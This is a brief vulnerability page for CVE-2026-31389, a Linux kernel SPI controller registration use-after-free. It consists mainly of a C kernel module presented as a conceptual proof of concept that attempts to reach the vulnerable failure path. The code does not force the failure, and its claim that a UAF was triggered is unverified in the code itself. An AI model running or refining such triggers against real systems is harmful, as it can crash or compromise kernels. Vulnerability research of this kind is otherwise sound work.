CVE-2026-31389 Linux内核SPI控制器注册UAF漏洞

/* * Conceptual PoC for CVE-2026-31389 * Triggering the SPI controller registration failure path. */ #include <linux/module.h> #include <linux/spi/spi.h> #include <linux/platform_device.h> static struct platform_device *pdev; static int __init poc_init(void) { struct spi_controller *ctlr; int ret; // Allocate a dummy platform device if needed pdev = platform_device_register_simple("spi-poc", -1, NULL, 0); if (IS_ERR(pdev)) return PTR_ERR(pdev); // Allocate SPI controller ctlr = spi_alloc_master(&pdev->dev, 0); if (!ctlr) { ret = -ENOMEM; goto err_device; } /* * Attempt to register the controller. * If per-cpu statistics allocation fails internally, * the controller is freed but not unregistered from the driver core, * leading to UAF. */ ret = spi_register_controller(ctlr); if (ret != 0) { // In the vulnerable version, ctlr might be freed here but still referenced printk(KERN_INFO "PoC: Registration failed with %d, potential UAF triggered.\n", ret); } return 0; err_device: platform_device_unregister(pdev); return ret; } static void __exit poc_exit(void) { if (pdev) platform_device_unregister(pdev); } module_init(poc_init); module_exit(poc_exit); MODULE_LICENSE("GPL");